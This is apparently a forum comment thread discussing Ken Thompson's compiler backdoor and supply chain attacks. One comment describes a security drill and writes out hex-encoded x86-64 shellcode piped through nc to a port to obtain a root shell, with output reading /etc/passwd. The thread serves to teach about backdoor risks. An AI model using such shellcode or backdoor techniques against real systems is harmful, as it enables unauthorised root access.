5 ms·
You write tests.
by Yajirobe 4y ago
You write tests.
- kragen 4y agoHow do you detect a backdoor inserted in the login program with a test? You'd have to know the backdoor password to write the test. Perhaps you haven't read Thompson's Turing Award lecture and so you have no idea what we're talking about.
- d33 4y agoNot sure if it would work, but wouldn't it greatly complicate creating a backdoor when the host's memory is very heavily constrainted? e.g. an AVR-based "computer" that would hardly do much more than actually translate assembly to machine code?
- kragen 4y agoIt would probably be easier to detect, but when Thompson deployed the attack in practice, nobody noticed, even though the PDP-11 address space was the same size as an AVR's, and the CPU was a lot slower. (AVRs invariably have much less physical RAM installed than a PDP-11, but you'd need some external memory to get a C compiler to build.)
- colejohnson66 4y agoAnother Ken Thompson style hack, but on an AT&T 3B2: https://www.quora.com/What-is-a-coders-worst-nightmare/answer/Mick-Stute https://www.quora.com/What-is-a-coders-worst-nightmare/answe...
- ithkuil 4y agoSupply chain attacks are fun. Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server https://github.com/mkmik/echo-server Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell: $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234 # head /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin Now stare back at the https://github.com/mkmik/echo-server https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)
- e12e 4y agoSo, I'm guessing it's in: https://hub.docker.com/r/mkmik/debian-base-buildpack/ https://hub.docker.com/r/mkmik/debian-base-buildpack/ ? And you updated it just after making this comment? Is the source available - bit difficult to research repos on mobile...